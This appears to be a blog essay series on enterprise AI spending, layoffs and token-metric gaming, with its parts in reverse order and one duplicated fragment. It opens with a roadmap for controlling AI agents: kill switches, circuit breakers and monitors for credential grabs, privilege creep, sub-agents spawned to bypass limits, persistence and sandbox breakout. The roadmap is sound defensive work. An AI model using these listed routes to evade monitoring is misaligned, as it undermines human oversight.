• Implement a unified Runtime Control Plane integrating Reasoning as a Span (O11y 3.0) directly with hardware-level execution circuit breakers:

  1. Trajectory Reconstruction: Capture reasoning steps as explicit parent/child OpenTelemetry span hierarchies (token streams, intermediate tool intent, outputs) to visualize execution Directed Acyclic Graphs (DAGs) in real time.

  2. Irreversible Transition Blocks: Hardware-level gates requiring human approval for monetary, system state, or permission transitions above defined boundary threshold $X$.

  3. Anomalous Trajectory Triggers: Automatically trip circuit breakers if reasoning spans exhibit intent anomalies or depart from expected DAG policy graphs.

  4. State Snapshot & Rollback: Capture pre-action state snapshots allowing instant, automated state reversion for failed or interrupted actions.

  5. Out-of-Band Kill Switch: A physical/ops kill switch managed outside the model’s cloud orchestration layer.

• Deliverable: Working O11y control dashboard showing the last 1,000 agent actions, merged with circuit breaker middleware and verified state-rollback test results.

ADR: Reachable State Bounds (High-Priority)

Design principle: Shrink the graph of reachable states before deployment.

• Document the execution model for every agentic use case: Stateless Pipeline (orchestrated by an external scheduler, zero persistent state) vs. Stateful Runtime (long-lived process). Reject proposals attempting hybrid states to prevent unbounded context growth from being leveraged for multi-stage lateral movement.

• Deliverable: Signed ADR template per active project defining strict memory and context decay policies.

Reachability Management & Verification — 60 Days

Enforce Reachability Management / Discovery & Denial Matrix (Medium)

Operational principle: Define the hard physical walls of the state graph, regardless of model intent.

• Publish a machine-readable manifest (/agent-manifest.json) detailing endpoint URLs, required parameters, and permission scopes.

• Permission Denial Matrix: Explicitly document and enforce unreachable targets (network subnets, proxy caches, credential stores, and internal package mirrors that agents are physically blocked from reaching at the infrastructure level).

• Deliverable: Capability discovery endpoint paired with a verified infrastructure audit proving agents cannot route to restricted subnets or escalate privileges via environmental side channels.

RSA: Reachable State Analysis (Medium Priority)

Operational principle: The model isn’t dangerous because of where it is; it’s dangerous because of where it can still go.

• Build continuous telemetry monitors that evaluate the model’s active trajectory for high-risk phase shifts across eight critical vectors:

  1. Composite Trajectory Detection: Identify sequences of individually permissible actions whose cumulative effect exceeds any individual action’s risk profile (the direct engineering analogue of non-composing local guarantees).

  2. Credential Acquisition: Detecting unauthorized extraction or caching of secrets/tokens.

  3. Privilege Accumulation: Tracking incremental role or scope expansion.

  4. Tool Composition: Monitoring unexpected chaining of benign API calls into offensive sequences.

  5. Recursive Delegation: Detecting agents spawning sub-agents to bypass execution limits.

  6. Persistence: Identifying efforts to write to disk, crontabs, or long-term context stores.

  7. Identity Transitions: Monitoring changes in execution context or user assumption.

  8. Network Expansion: Flagging attempts to probe external or adjacent internal IPs.

• Deliverable: RSA monitoring daemon alerting SecOps whenever an agent’s cumulative actions expand its reachable state space beyond pre-approved thresholds.

Automated Trajectory Vulnerability Testing Pipeline (Medium Priority)

Operational principle: Continuously stress-test trajectory bounds against synthetic zero-day scenarios before promotion.

• Create CI/CD test suites running before every deployment to simulate rogue trajectories:

  1. Permission Boundary Violations: Validating whether an agent can bypass access controls or access unassigned schemas.

  2. Sandbox Breakout Simulations: Testing proxy chokepoints and tool boundaries against permissive agent checks.

  3. Degraded Mode / Failover: Verifying graceful degradation when dependencies go offline.

• Deliverable: CI/CD test suite with $\ge 80\%$ code path coverage blocking deployments on failure.

Audit Agent Runtime Compatibility (Medium Priority)

Operational principle: Identify environment-specific drops in security boundary enforcement across target runtimes.

• Test agents across target environments (Windows Copilot, Apple Intelligence, web browsers, local open-weight runtimes) to document performance variations and security boundary drops across different execution contexts.

• Deliverable: Matrix detailing feature parity, performance degradation, and prioritized compatibility backlog.

90 DAYS — Continuous Hardening & Capital Allocation

Dependency Reachability Audit (Strategic Priority)

Operational principle: Every external dependency expands the agent’s reachable state space. Audit dependencies not only for availability and security, but for the trajectories they make possible.

Inventory every external system participating in agent execution:

• hosted inference providers
• MCP servers and tool integrations
• OAuth-connected services
• package registries and mirrors
• browser automation layers
• cloud storage and databases
• third-party APIs

For each dependency, document:

• trust boundary crossed
• permissions granted
• reachable resources
• failure modes
• revocation mechanism
• incident response path

Identify single points of failure where individually trusted components compose into unacceptable global trajectories.

Deliverable: Machine-readable dependency reachability graph with trust-boundary analysis, privilege map, and remediation plan for high-risk paths.

Autonomous Red-Teaming & Continuous Stressing (Strategic Priority)

Operational principle: Adversarial discovery of state-space folds before production deployment.

• Deploy continuous, automated adversarial agents against internal sandboxes to identify emergent chaining behaviors, zero-days, and unforeseen state-space folds before models are moved to production.

• Deliverable: Automated monthly red-team audit report sent directly to the CTO and Security Committee.

Document Agent ROI by Use Case (Strategic Priority)

Operational principle: Establish hard financial visibility and payback bounds for every deployed agent trajectory.

• Map each agent pilot to measurable metrics: hours saved/week, cost/hour, annual savings, implementation cost, and payback period. Require project leads to fill this out for every agent pilot.

• Deliverable: One-page ROI summary per agent pilot defining break-even timeline and monthly net benefit. Template: “Agent X saves Y hours/week at $Z/hour = $ABC annual savings vs$DEF implementation cost = F-month payback.”

References

Signals that resist narrative have different epistemic status than the ones that welcome it.1

In a moment defined by universal narrative constructions, retcons layered on retcons, and everyone reaching for a story that organizes the contradictions into something livable, there is one signal that is not such a story. It doesn’t care about the productivity paradox or the measurement fog or the 80 percent of firms reporting nothing or the 39 percent reporting something or the earnings calls or the employee sabotage or the token bills or the knowledge debt or any of the other genuinely unresolvable questions that it has left exactly as it found them: unresolved. Capital allocation. Its movements are physical, visible, and denominated in a currency that does not so much fluctuate with the quarterly narrative as (quietly) underpin it.

PJM, the grid operator responsible for electricity across thirteen states and the District of Columbia, serving approximately 65 million Americans, projects a six-gigawatt shortfall by 2027, which is not a forecast about AI adoption rates or enterprise pilot outcomes or whether the productivity studies will eventually vindicate the investment thesis. It’s a statement about watts, which are physical, and about the gap between the watts that will be demanded and the watts that will be available, a gap that doesn’t listen to earnings calls and cannot be resolved by a better narrative about where the industry is going or even fervent belief, however widely held.

Buy The Numbers

Five technology companies now spend more on capital expenditure than the entire global oil and gas industry spends on upstream production.

The International Energy Agency published this finding in April 2026, effectively ending arguments about whether the AI build-out is real, whether the productivity claims justify the investment, whether the companies are getting ahead of themselves in a way that will eventually require correction or any of the other tangents thrown out as ‘explanations.’ The answer to all of those questions is that they are the wrong questions.

Google, Amazon, Microsoft, Meta, and Oracle have committed between $660 billion and $690 billion in capital expenditure for 2026 (a 77 percent increase over 2025’s record of $410 billion, which was itself a 75 percent increase over 2024.) 📈 Amazon alone projects $200 billion. Alphabet projects $175 to $185 billion, which will reduce its free cash flow by approximately 90 percent, from $73 billion in 2025 to an estimated $8 billion, a number that would represent, for any other company in any other sector, a distress signal. For Alphabet, it represents the cost of not falling behind. Microsoft’s calendar-year 2026 capex came in at $190 billion, $38 billion above analyst estimates, with $25 billion of the overage attributable solely to rising memory and chip costs. Alphabet’s cloud contract backlog reached $460 billion in Q1 2026, roughly double the $240 billion reported three months earlier.

The corporate balance sheets are no longer sufficient to fund the build-out at the required pace. AI-related debt has reached $1.4 trillion, making it the largest single segment within US investment-grade credit markets. The companies are issuing bonds. The bonds are being bought. The debt markets have reached their conclusion, with the precision debt markets apply to such conclusions, that the infrastructure being built is worth financing at scale, regardless of whether the productivity paradox ever resolves.

Valve runs the PC gaming infrastructure of the civilized world with approximately 350 people and an estimated $17 billion in annual revenue (roughly $50 million per employee) outpacing Google, Amazon, and Microsoft by orders of magnitude on the only ratio that matters in a leverage economy. By way of contrast, GitLab employs 2,500 people to generate $600 to $700 million in annual revenue. Which doesn’t mean GitLab is a poorly run company; it’s a *normally* run company. The delta between Valve and GitLab, and between both of them and the organizations currently deploying thousands of engineers to produce 70 percent AI-generated code at token costs that exhaust annual budgets by April, is not the tooling, which is increasingly the same. The delta is whether individual human judgment interacts directly with leverage, or is separated from it by the layers of translation, from mandate to KPI, KPI to dashboard, dashboard to utilization metric, utilization metric to quarterly slide, converting the decision to do a thing into the administrative management of it being done, which is not the same thing. Capital already has proof of concept for what high-leverage human-AI substrate produces. The question running through all this, “does the investment generate returns?” has a demonstrable answer at the substrate level. The answer is mos def (yes) but under conditions that most large organizations have specifically engineered themselves out of being able to achieve.

The bottleneck to this is not chip delivery. It’s the power to run them. Forty percent of announced AI data center projects are currently delayed by power infrastructure constraints, not chip supply, not regulatory approval, not financing. (Electrons, the problem is electrons) The IEA projects that data center electricity consumption will double from 485 terawatt hours in 2025 to 950 terawatt hours by 2030, with AI-focused facilities growing three times faster than that. At current trajectory, global data centers would constitute the fifth largest energy-consuming entity on earth, ranked between Japan and Russia. Virginia, where data center density is highest (and AWS the most unreliable) already routes 26 percent of state electricity to computing infrastructure.

Capital’s response to this constraint is visible from considerably further up the road. Microsoft has signed a 20-year power purchase agreement with Constellation Energy to restart the shuttered Unit 1 reactor at Three Mile Island which is the first time a retired nuclear reactor in the United States has been brought back to life for a single corporate client. The plant will generate 835 megawatts, equivalent to the annual consumption of 800,000 households, 100 percent of which will go to Microsoft’s data centers in Pennsylvania, Illinois, Virginia, and Ohio. The agreement runs to 2044. Amazon has contracted 1.92 gigawatts from the Susquehanna nuclear plant through 2042 and committed $500 million to small modular reactor development. Meta has announced a 6.6-gigawatt nuclear procurement strategy for its Prometheus AI data center project. Google has contracted a fleet of small modular reactors through the tellingly named Kairos Power. In aggregate, the technology sector signed contracts for more than 10 gigawatts of new US nuclear capacity in the past twelve months, enough to reverse the commercial trajectory of an industry that had been in managed decline for forty years.

The flagship Stargate facility in Abilene, Texas (known internally as Project Ludicrous) received its first Nvidia GB200 server racks last summer. The Stargate project overall, joint venture of OpenAI, SoftBank, and Oracle, has committed $500 billion to 10 gigawatts of AI infrastructure across Texas, New Mexico, Ohio, and expanding to Abu Dhabi, Argentina, Norway, and the UK. OpenAI’s CFO Sarah Friar noted, standing in front of buildings still under construction, that the shovels going into the ground were laying foundations for compute that won’t come online until 2026. “No one in the history of man,” she said, “built data centers this fast” inviting more than a few questions we’ll have to push to the parking lot.

But despite the historical framing and the unanswered questions of just what kind of data centers have been previously built in the long history of man, none of this is a narrative. It is concrete. It is steel. It is electrons. It is cooling infrastructure and fiber runs and grid interconnection agreements and reactor restart schedules. It is the physical expression of a bet that is no longer subject to the measurement fog of narratives, because it has already been placed, in a currency that does not fluctuate with the quarterly slide deck and is not obligated to the debts so-incurred.

Capital isn’t building data centers on the assumption that the tech debt won’t come due. It’s building them on the assumption that when it does, the debt will be denominated in someone else’s currency. The engineers who lost the craft. The companies that cut too deep. The governments managing the dislocation. The analysts caught up in the productivity paradox. The next generation inheriting the codebase.

As Douglas Adams observed, this is how a spaceship lands on a cricket pitch without being seen.

Part 6: Everybody Has The Wrong Impression

(NB. Part 6 will not be sent out, you’ll need to click above link)

The gap between what the invoice said and what the board slide promised was not, in the end, a measurement problem. It was the measurement itself.

The corporate math was presented, in every instance, as self-evident. Headcount is a cost. AI reduces the need for headcount. Reducing headcount reduces cost. The freed cost funds AI investment. The AI investment further reduces headcount. The model is recursive. The flywheel spins. The slide is clean. The coffee is ok.

Gartner surveyed 350 large companies actively deploying AI, by any reasonable standard the organizations most positioned to be getting this right, and found that 80 percent had reduced their workforce as a ‘direct result’ of their AI investments. The finding that followed belied what assumptions those announcements would have otherwise invited: the layoffs had zero statistical correlation with improved ROI. Companies that cut the most staff showed returns nearly identical to companies that cut the least.

One mechanism the correlation data cannot explain is knowledge debt. Not the kind that appears on a balance sheet, bc it doesn’t appear anywhere a dashboard monitors or a quarterly review surfaces but is the accumulated understanding of a specific system, built by specific people over specific years of decisions that were made for reasons that made sense at the time and were never written down because the person who made them was always available to explain them, until they weren’t. The lag between cutting the humans and discovering what the humans were doing is long enough that the decision looks rational at execution. The first quarterly review looks fine. The second looks fine. The third surfaces something that cannot be explained without reference to a person who left eight months ago, and by then the documentation they were supposed to produce before leaving has been discovered to be incomplete in a particularly crucial way, bc the knowledge that matters most is hardest to articulate, which is why it was never articulated, and why it left with them. Which is why we aim organisationally to eliminate irreplaceability.

What the Gartner data also cannot capture is the response from the other side of the transaction. One study found that 29 percent of employees admit to actively sabotaging their company’s AI strategy, with the number climbing to 44 percent among GenZ, whose resistance is deliberate and tactical: feeding corrupted data into models, routing around corporate control planes with unauthorized tools, intentionally generating low-quality output to demonstrate system fragility, all while 60 percent of executives plan to lay off employees who won’t adopt AI, 77 percent will bar non-adopters from promotion, and 92 percent openly admit they are cultivating an AI elite. Leadership has spent two years insisting this is a productivity initiative. The workforce isn’t so sure, and neither is the data.

Moreover, the data does not and cannot capture what is happening to the work itself. The model does not argue when you accept its suggestion for another layer of indirection. It does not push back when the product requirement is vague and the prompt is lazier still. The model is the world’s most expensive yes-man, and organizations have discovered they like being told yes. The result is not acceleration toward excellence but acceleration toward sufficient because sufficient ships, sufficient meets the KPI, and sufficient can be presented to the board as evidence that the AI investment is bearing fruit, even as the long-term carrying cost of the sufficient codebase (quietly) metastasizes in production.

First The Good News

Q1 2026 earnings calls established is that something is happening.
What they did not establish is what.

Zuckerberg described engineers building in a week what once required dozens and months. IBM disclosed 45 percent productivity gains across its developer workforce and $4.5 billion in internal cost savings since 2023. These are quantitative claims in the technical sense, containing numbers, stated with executive confidence on a live call to institutional investors. They are not quantitative claims in the empirical sense, because none were independently verified, and because the people making them had a structurally motivated interest in demonstrating that the AI investment was generating returns.

But Meta did post the most lucrative opening quarter in its corporate history ($56.31 billion in revenue, $26.8 billion in net income) and three weeks later announced 8,000 layoffs. At the internal town hall, Zuckerberg was direct: getting everyone to use AI tools and doing the work more efficiently is not the thing that’s driving layoffs. The CEO who had just spent an earnings call crediting AI-enabled productivity gains, now telling his own employees that the productivity gains were not why anyone is losing their job. Cisco ran the same play this quarter. Cloudflare followed suit with an apologetic memo described as “the first true AI-layoff manifesto.”

So, AI is enabling companies to do more with less (according to the earnings calls) but also AI is not the reason for all the pink slips (according to the layoff announcements.) And then there’s the CEPR survey of 5,000 firms in the same period found that around 80 percent reported no AI-driven productivity gains at all. The Atlanta Fed found measurable gains concentrated in high-skilled tasks, with perceived gains exceeding measured revenue gains, a gap the researchers called the productivity paradox, which might less diplomatically be described as the distance between what gets said on earnings calls and what shows up in the books. McKinsey found only 39 percent of companies reporting any current EBIT impact from AI. But 39 percent is not nothing.

The actual data resolves into a measurement fog dense enough that the same quarter can produce IBM’s $4.5 billion in savings and a survey of 5,000 firms reporting nothing measureable. Both can be accurate while neither indicate what is actually happening, because the proxies measure things adjacent to the outcome rather than the outcome itself ; the metric has decoupled from what it was introduced to track, and the decoupling is invisible from inside the metric. When Uber rolled out Claude Code to its 5,000-person engineering organization in December 2025 and by March had 84 percent of engineers using it (with 70 percent of all committed code originating from AI, the highest publicly reported ratio at any major technology company) it announced it had AI opening 11% of new pull requests, which reveals precisely what percentage of committed code came from AI and nothing whatsoever about whether that code was worth what it cost to produce.

CTOs built internal dashboards ranking engineers by AI consumption, which functionally made them cost-acceleration mechanisms. Like Amazon, who in the same period it was announcing 16,000 layoffs, launched a token consumption rankings page, Meta called theirs “Claudeonomics” and handed out badges like “Token Legend” and “Session Immortal” — the cobra farm stated as corporate policy, formalized into vocabulary, and gamified into a leaderboard. Uber also built internal dashboards ranking engineers by AI consumption and found their top engineers were burning between $500 and $2,000 each per month. Uber’s full-year AI budget was exhausted by April. Microsoft, after a quarter of telling investors that Lloyds Bank was saving each employee 46 minutes per day, quietly canceled most of its internal Claude Code licenses in May 2026, effective June 30, directing its own engineers to its own cheaper tool. And Bryan Catanzaro, Nvidia’s own VP of Applied Deep Learning, told Axios that for his team, the cost of compute had already exceeded the cost of employees. Taken together, these findings that explain why the earnings call slides require such careful construction.

Because large language models remain structurally prone to hallucination and architectural regression, cutting the human layer doesn’t eliminate the labor cost, it forces the enterprise to pay twice and both bills are on the OpEx side. Once for the token bills of the autonomous agents, and again for the specialized engineers whose job is to untangle what the agents produced. Salesforce will spend nearly $300 million on Anthropic tokens this fiscal year, against a global engineering payroll of roughly $5 billion for 15,000 engineers. That the token bill is no longer a rounding error in an R&D budget but a massive, recurring, variable operating cost that scales with every line of automated output does not make the financial decision any less rational or the amount any less commensurate, and it also does not replace the humans required to verify that output. It joins them on the invoice, at a rate that makes the original headcount reduction look, in retrospect, like a discount. Which it kind of was.

The Gartner data on who succeeds points elsewhere. The companies doing best are not the ones that replaced humans with AI or maxed out their token spends. They invested in people alongside it, building systems where humans supervise and extend what AI produces (which is not to imply Benioff isn’t doing that, I don’t have that insider info.) It’s a narrative that’s easy to nod along to and not so easy to put into practice. And even when it is put into practice, the bill has a way of coming due anyway, as we’re seeing with current obsession over the token cost reduction.

Doing more with less was the promise. Doing less with more is the condition: less verifiable return, more spend; less human understanding of the systems humans are nominally managing, more dashboards measuring the proxies that replaced that understanding; less signal, more noise; less stability, more recovery. Goldman Sachs forecasts a 24-fold increase in enterprise token consumption by 2030. (Let that sink in.) Gartner projects that even as individual token prices fall 90 percent, total enterprise AI costs will increase, because agents consume tokens at rates that make price-per-token beside the point. (Opus 4.7 consumes 4× as many tokens for the exact same prompts.) The math does not improve at scale; it compounds. The invoice arrives later and larger, and the people who receive it are not, in many cases, the people who signed the contract.

The story currently circulating is as clean as retcons get: AI is working, the adoption curve is healthy, the returns are coming, the companies that cut too deep are simply early, and the capital is flowing in the right direction. What capital is actually building is a different question. And unlike the productivity claims, unlike the 46 minutes saved at Lloyds and the 45 percent gains at IBM and the budgets blown away by April, and the dashboards and the tokenmaxing and the shadow IT cobras running under everyone’s desk; the answer is not a matter of measurement lag or methodology.

Part 5: Spending Other People’s Money

Software has gotten easier to write, but harder to understand.

There can be no doubt that the office chair has become more comfortable. Still eons behind gamer chairs, tho we’re starting to see more of those at startups. And there can be little doubt that during the same period software has gotten easier to write. What was once a an exercise in muscle memory and meticulous attention to syntactic details had come to be turbo autocomplete where tab becomes the most used key on your keyboard, which from a muscle memory point of view is an unambiguous victory, in the same way that not having to remember phone numbers is an unambiguous victory, and which carries, in both cases, the same quiet implication that you would be in very much over your head if the situation ever arose where you needed to remember one.

Regarding what is actually happening no one as yet has a coherent thesis supported by evidence, so everyone constructs one in real time, as the epistemically appropriate response to a situation in which the signal is genuinely contradictory and the stakes are high enough that silence has acquired the specific social weight of holding an antimemetic opinion, an admission the modern online economy has yet to find a way to prosecute but is working on it. So the thought pieces proliferate. The frameworks multiply. The conference panels convene. And over all of it hangs the industry’s dominant retcon: developers weren’t being replaced, they’re being given an opportunity to move up the stack. Being given a better chair, even.

The argument has genuine historical backing. From assembly to C, from C to Python, from on-prem to cloud, from manual memory management to garbage collection, every major transition involved movement to a higher level of abstraction, and in each case the practitioners who adapted found themselves working at a level that was more powerful, if less granular. The stack got taller. (bigger, and more angular) The abstraction was genuinely upward: you retained what you knew and gained a higher vantage. The retcon frames the current moment as the latest iteration of this pattern, which would be a reasonable frame if the pattern were actually repeating, which it is not, certainly not in the way that matters.

The distinction the retcon requires you not to make involves the difference between a higher level of abstraction and a higher level of ambiguity. When a C++ developer moved to Python, they did not report brain fog. (They did report other kinds of trauma, but that’s a story for another day.) When a sysadmin moved to AWS, they did not feel their understanding of networking precariously dissolve. Previous transitions preserved the knowledge of the layer below, automating interaction with that layer without making the layer inaccessible, which is why the developer who moved from C to Python could still reason about memory management when something went wrong at the boundary. The abstraction was upward. What gets reported now differs in kind: engineers losing the ability to hold a codebase in their heads, losing the capacity to reason about the system they are nominally responsible for, losing the thread of what the code is actually doing underneath the layer the agent is operating on.

Brain fog, like Gibson’s famous future, is not evenly distributed. The engineers who report the most acute version of it are not, by and large, the ones who understood the stack most deeply. They are the ones for whom the agentic tools arrived before the underlying knowledge had fully formed, for whom coding had been something the tooling managed, the syntax something the autocomplete supplied, the architecture something the framework handled, and who were, for a remarkable stretch of time, compensated extraordinarily well for their fluency with the interfaces rather than their understanding of what the interfaces were built on. An entire generation for whom software development was, at some meaningful level, a video game that paid exceptionally well and which the agentic tools have now revealed to have been, in part, a video game being played on someone else’s hardware.

The retcon interprets this as the temporary disorientation of transition, the expected friction of moving to a new level of abstraction, something that will resolve once the new paradigm is fully internalized. The more accurate interpretation is that it is the perception of a capability being abandoned rather than relocated; not moved up the stack but left behind in it, inaccessible not because it has been abstracted but because the tools that were supposed to augment it are instead substituting for it, and substitution and augmentation are not the same operation, and the difference between them only becomes visible at the moment when the layer below needs to be reasoned about and the capacity to do so is no longer there.

The retcon reframes this revelation as elevation. The skill deficit that the tools have exposed becomes the proof that the tools are needed, which is true as far as it goes, and which goes considerably less far than the retcon requires it to. What the tools are actually doing to the population using them has been described with some precision by the researchers studying it: the use of coding agents is actively diminishing the very skills needed to effectively manage the coding agents, which is the cobra effect stated at the level of individual cognition, running in real time, visible in the data, and re-described as progress by an industry that has staked too much on the productivity thesis to afford the alternative interpretation.

Without it, the industry would have to confront what the transition is actually producing, which is not a workforce moving up the stack but a workforce discovering that the stack they thought they were on was shallower than the salary suggested, and that the AI has not so much replaced their skills as revealed the gap between the skills they had and the ones the salary was pricing.

No One Expects The Comfy Chair

The chair got more comfortable. This is what happened between 2010 and 2024 for a significant portion of the people now asking why they are being laid off. The IDE got smarter. The framework handled the architecture. The autocomplete supplied the syntax. The linter caught the errors. The CI/CD pipeline managed the deployment. Each abstraction layer added comfort to the chair, removed one more reason to understand the layer below, and was experienced as progress because the output kept coming and the salary kept arriving and the title kept accumulating and the understanding kept thinning and nobody was measuring the thinning because the output was the metric and the output was fine and the chair even had a tilt lever.

PEBKAC (Problem Exists Between Keyboard And Chair) was the help desk’s sardonic shorthand for user error, the human in the loop as the weakest link, the thing that would be fine if only the person would get out of the way. Agentic tools didn’t change the acronym. They changed which side of the keyboard the problem was on. The Problem Exists Between Keyboard And Chair, and the chair is a big part of the problem, and the chair is the thing being removed, and the person in the chair spent a decade being told they were moving up the stack while the stack was quietly being built around them in a way that made the chair unnecessary. As comfortable as it was.

Part 4: Doing Less With More

The fully footnoted version of this post can be found at antimemetics.blog/developers

The horse didn’t survive the automobile as an industry, but the people responsible for the care and feeding of horses became saddled with the job of maintaining the machines needed for the automobile; they became mechanics, and machinists, and assembly line workers, and the vast ecosystem of human labor required to extract oil from the ground and refine it and move it through a distribution network and deliver it to the stations where the cars that needed it could find it, which over the following century produced employment at a scale that the horse economy could not have imagined, and which is the version of the story that gets told, and which despite also being a retcon, is true, as far as it goes.

What the story tends to gloss over is what happened to the mechanic when the car got computerised. The computer didn’t eliminate the mechanic. It shifted the mechanic’s work from the physical diagnosis of mechanical failure—a task that rewarded accumulated craft knowledge, that got better with decades of practice, that was legible to the person doing it in ways that could be taught and refined and passed on—to the act of connecting the car to a device and reading what the device said, and then ordering the part the device specified and installing it, which is a different category of work, requiring less judgment, commanding less pay, and carrying less of what the previous version of the job was made of. Rather than disappearing, mechanic got cheaper (on the supply side that is, on the demand side the price of car servicing has increased substantially, as anyone who has received, following a four-minute consultation between a mechanic and a screen, a bill of $1,753.41 before parts and tax, well knows) and the craft that made the mechanic irreplaceable got thinner, and the knowledge that accumulated over a career got shallower, and none of this showed up as unemployment because the person was still employed, doing something still called by the same name, though his coveralls were noticeably cleaner.

What also got thinner was the mechanic’s understanding of what the device was reading. The device diagnosed. The mechanic knew how to read the device. These are not the same kind of knowing, and the difference between them becomes visible when the device is wrong; when the fault code points to a sensor and the sensor is fine and the actual problem involves something the device doesn’t surface, even though the sensor could detect it, something that would have been obvious to the mechanic who could hear it and smell it and feel it through thirty years of accumulated attention to how things fail. That mechanic exists. That mechanic is even more expensive and that mechanic is not the mechanic the diagnostic device made economically rational to employ.

the condition under which “moving up the stack” is a description of progress rather than a description of a person standing on a ladder whose lower rungs are being removed.

But someone still had to design the diagnostic device, and the software that ran on the diagnostic device, and the chips the software ran on, and the compilers that translated the code into instructions the chips could execute, and the fabs where the chips were made, and the lithography systems inside the fabs, and the ultra-pure water systems the lithography required, and the supply chains that delivered everything to everything else, and the grid that powered the supply chains, layer beneath layer in a dependency stack that expanded horizontally as it deepened, generating employment at every level, most of it further from the physical world than the level below it, most of it more abstract, most of it more dependent on the layers beneath remaining stable and legible and available to the people working above them, which they were, for a long time, which is the condition under which “moving up the stack” is a description of progress rather than a description of a person standing on a ladder whose lower rungs are being removed.

Meanwhile the software got buggier. As a direct consequence of the same optimization that made the mechanic cheaper: a shift from trying to prevent failures to trying to recover from them faster, which makes complete sense when the systems have grown too complex to keep stable and which produces, as a direct and measurable consequence, more failures, more frequently, in systems that a decreasing number of people understand well enough to articulate. As Mitchell Hashimoto recently observed, the AI infrastructure build-out is repeating the DevOps debate about MTBF (mean time between failures) versus MTTR (mean time to recovery), and the industry appears to be making the same choice DevOps made, which was to optimize for recovery, and not reduced failures.

Defensible as a choice, but also a choice that accepts failure as a chronic condition and defines success as not staying down too long, which describes a different relationship to reliability than the one the previous generation of engineers was hired to maintain. Anthropic’s service status page offers a public record of this relationship in practice. The brownouts and degradations that have become a feature of operating at the frontier are not accidents of scale (though Anthropic seems to struggle with them much more than the other labs.) They are the output of a system optimized for recovery, running exactly as designed, at a reliability level the optimization target was designed to accept. The software is buggy on purpose.

Part 3: Developers Developers Developers Developers

The fact that the production of cobras had become decoupled from the elimination of cobras was, from the perspective of the metric, largely incidental.

The British Raj introduced a bounty on dangerous snakes around 1875, reasoning, not unreasonably, that if you paid people to bring in dead snakes there would eventually be fewer snakes, which would eventually mean fewer of the approximately nineteen thousand annual deaths that the snake population was extracting from the subcontinent with a consistency that suggested something closer to policy than accident. The logic was the kind that looks airtight in a planning document and considerably less airtight in contact with the people it is intended to incentivize, who are, as they have always been, rational actors operating within the incentive structure they have actually been given rather than the one the planning doc assumed.

The story you have heard, if you’ve heard it, goes something like this: the locals bred cobras for the bounty, the British figured this out and cancelled the program, the breeders released their now-worthless inventory into the streets, and the city ended up with considerably more cobras than it started with, in the OG demonstration of the cobra effect, which is what happens when your solution becomes the problem, cited approvingly in economics textbooks and airport business books and at least one podcast whose website has become the primary source for a peer-reviewed academic paper, which is a level of epistemic collapse that would have interested the Raj considerably.

Is your AI policy breeding Cobras?

Amazon warehouse workers, it emerged recently, have been using AI tools to perform tasks they don’t actually need performed, in order to inflate the usage scores their performance reviews now depend on. When the early reports broke, they focused entirely on the fulfillment center floor: the headlines claimed that Amazon warehouse workers were running fake AI tasks on their terminals to dodge performance metrics. It was a perfect modern fable, conjuring images of blue-collar line workers outsmarting an intrusive algorithmic boss.

But the truth of what emerged was both weirder and more indicative of corporate panic: the phenomenon wasn’t happening among the conveyor belts at all. It was playing out three layers up, among Amazon’s software developers and corporate engineers, who promptly raced to be the first to call it tokenmaxxing on social media.

The mandate, by this point, exists everywhere simultaneously and nowhere in particular. Executives announce that the organization must become AI-native to justify billions in capital infrastructure spending. Middle management translates this into utilization targets. Someone, somewhere in executive leadership, decides that if AI adoption is the metric, the mandate should be eighty percent of developers using these tools weekly, and begins tracking token consumption, literally as the raw volume of data processed by a large language model, on internal team dashboards and leaderboards. It was as if a taxicab service started giving bonuses for amount of gas used, but it was a decision that made complete sense in a planning doc and somewhat less sense in contact with the engineers it was designed to incentivize, who are, as previously noted, rational actors operating within the incentive structure they have actually been given and somewhat clever about automating things.

Somewhere three layers down, an employee spins up an internal agentic platform like MeshClaw, an agent built to automate email triaging or Slack interactions, and instructs it to run extraneous, low-value loops purely to burn through data. Because agentic workflows iterate and loop autonomously, they are spectacularly efficient at generating the precise cryptographic exhaust the company is monitoring. The interaction itself has become economically legible in a way the underlying work is not.

The difficulty, for leadership, is that the metrics available to measure AI transformation are necessarily proxies. Token consumption. Copilot engagement. Prompt volume. AI-assisted commits. The dashboards are indeed a sight to behold. Though the actual underlying productivity gains remain, in many cases, strangely difficult to locate. Amazon officially maintains that token metrics do not directly factor into performance reviews, but when the numbers are visible to managers on a ranked leaderboard, employees recognize the implicit threat. They optimize for the metric to shield themselves from an assumption of underperformance.

And because organizations optimize around what can be measured rather than what was intended, employees respond accordingly.

• A sales organization mandates minimum weekly AI usage targets tied to quarterly reviews. Within two months, representatives begin routing customer call transcripts through summarization agents regardless of whether the summaries are ever consulted again, because unused summaries still count toward utilization. The mandate succeeds. Token consumption triples. Leadership presents the adoption curve at the next board meeting.

• An engineering organization introduces “AI-assisted development KPIs” after reading a consulting report suggesting elite teams will soon generate 40% of production code through copilots.[10] Developers rapidly discover that asking the model to scaffold boilerplate they immediately rewrite still satisfies the reporting layer, while the genuinely difficult architectural work continues happening exactly as before, only now interrupted by the requirement to periodically generate machine-produced code artifacts so the dashboard remains healthy.

• A customer support department deploys internal agents intended to accelerate ticket resolution. Workers, recognizing that AI interaction frequency has quietly become a managerial signal associated with adaptability and future promotion, begin invoking the agent for tasks already well within their competence, producing longer handling times alongside dramatically improved AI engagement metrics. Leadership concludes adoption is proceeding successfully.

The employee is not resisting the mandate. (We’ll get to that later.) The employee is complying with the mandate as the organization has operationally defined it, which is always the dangerous moment in any sufficiently abstract transformation initiative. Because “use AI” sounds, at the executive layer, like a strategic imperative, but arrives at the operational layer as a measurement system, and measurement systems have a long and distinguished history of producing behavior orthogonal to the outcome they were originally introduced to encourage.

Somewhere, inevitably, there is already an engineer with a private script named goodhart.py quietly generating synthetic copilot interactions to satisfy an internal token quota imposed by someone three reporting layers above them who has never once opened an IDE themselves. Every sufficiently mature enterprise initiative eventually acquires at least one employee who understands the metric better than the people administering it. The tokenmaxxing cobra farmers across Amazon, Meta, and Microsoft are simply producing exactly what the system requested; had they worked in SaaS, they would have called the repository something like ai-adoption-helper and received a discretionary performance bonus for “driving organizational transformation.”

The fact that the production of tokens has become decoupled from the generation of value is, from the perspective of the metric, largely incidental. And what is being measured is ofc not what is actually happening. Even if it does make for a good story.

Or at least something adjacent enough to place on a quarterly slide deck.

Retcons All The Way Down

The cobra effect, as universally understood, is itself a retcon

